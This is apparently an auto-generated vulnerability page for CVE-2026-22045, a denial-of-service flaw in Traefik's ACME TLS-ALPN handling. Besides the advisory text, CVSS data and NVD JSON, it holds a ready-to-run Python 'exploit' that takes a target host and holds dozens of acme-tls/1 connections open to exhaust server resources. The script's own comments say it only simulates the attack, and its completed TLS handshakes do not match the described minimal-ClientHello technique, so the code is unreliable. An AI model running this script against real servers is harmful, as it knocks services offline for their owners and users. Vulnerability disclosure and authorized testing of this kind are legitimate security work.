Security Vulnerability Report
中文
CVE-2026-22045 CVSS 5.9 MEDIUM

CVE-2026-22045

Published: 2026-01-15 23:15:52
Last Modified: 2026-01-23 19:29:06

Description

Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.35 and 3.6.7, there is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up go routines and file descriptors indefinitely when the ACME TLS challenge is enabled. A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entry point. The vulnerability is fixed in 2.11.35 and 3.6.7.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* - VULNERABLE
Traefik < 2.11.35
Traefik < 3.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22045 PoC - Traefik ACME TLS-ALPN DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import ssl import time import concurrent.futures def create_acme_tls_attack(target_host, target_port=443, num_connections=100): """ Simulate the ACME TLS-ALPN attack that causes resource exhaustion. The attack sends a minimal ClientHello with acme-tls/1 protocol, then stops responding to tie up goroutines and file descriptors. """ connections = [] try: # Create multiple SSL contexts with acme-tls/1 ALPN for i in range(num_connections): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Set ALPN protocols including acme-tls/1 context.set_alpn_protocols(['acme-tls/1', 'http/1.1']) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: wrapped_sock = context.wrap_socket(sock, server_hostname=target_host) wrapped_sock.connect((target_host, target_port)) # Send minimal ClientHello (simulating the attack) # In real attack, ClientHello with acme-tls/1 is sent # Then connection is left open without completing handshake connections.append(wrapped_sock) print(f"[*] Connection {i+1}/{num_connections} established") except Exception as e: print(f"[!] Connection {i+1} failed: {e}") sock.close() print(f"\n[+] Established {len(connections)} malicious connections") print("[*] Connections left open - resources being consumed") # Keep connections open to maintain resource exhaustion time.sleep(30) finally: # Cleanup for conn in connections: try: conn.close() except: pass if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2026-22045-poc.py <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f"[*] Starting CVE-2026-22045 attack against {target}:{port}") create_acme_tls_attack(target, port, num_connections=50)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22045", "sourceIdentifier": "[email protected]", "published": "2026-01-15T23:15:51.593", "lastModified": "2026-01-23T19:29:05.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Traefik is an HTTP reverse proxy and load balancer. Prior to 2.11.35 and 3.6.7, there is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up go routines and file descriptors indefinitely when the ACME TLS challenge is enabled. A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entry point. The vulnerability is fixed in 2.11.35 and 3.6.7."}, {"lang": "es", "value": "Traefik es un proxy inverso HTTP y balanceador de carga. Antes de 2.11.35 y 3.6.7, existe una potencial vulnerabilidad en la generación automática de certificados TLS ACME de Traefik: la ruta rápida ACME TLS-ALPN puede permitir a clientes no autenticados acaparar go routines y descriptores de archivo indefinidamente cuando el desafío ACME TLS está habilitado. Un cliente malicioso puede abrir muchas conexiones, enviar un ClientHello mínimo con acme-tls/1, luego dejar de responder, lo que lleva a una denegación de servicio del punto de entrada. La vulnerabilidad está corregida en 2.11.35 y 3.6.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.11.35", "matchCriteriaId": "84C034EA-1F19-462D-9472-68F1CAA93115"}, {"vulnerable": true, "criteria": "cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.6.7", "matchCriteriaId": "44AA42E3-588B-4741-B128-74C761D1B5FA"}]}]}], "references": [{"url": "https://github.com/traefik/traefik/commit/e9f3089e9045812bcf1b410a9d40568917b26c3d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v2.11.35", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/traefik/traefik/releases/tag/v3.6.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/traefik/traefik/security/advisories/GHSA-cwjm-3f7h-9hwq", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}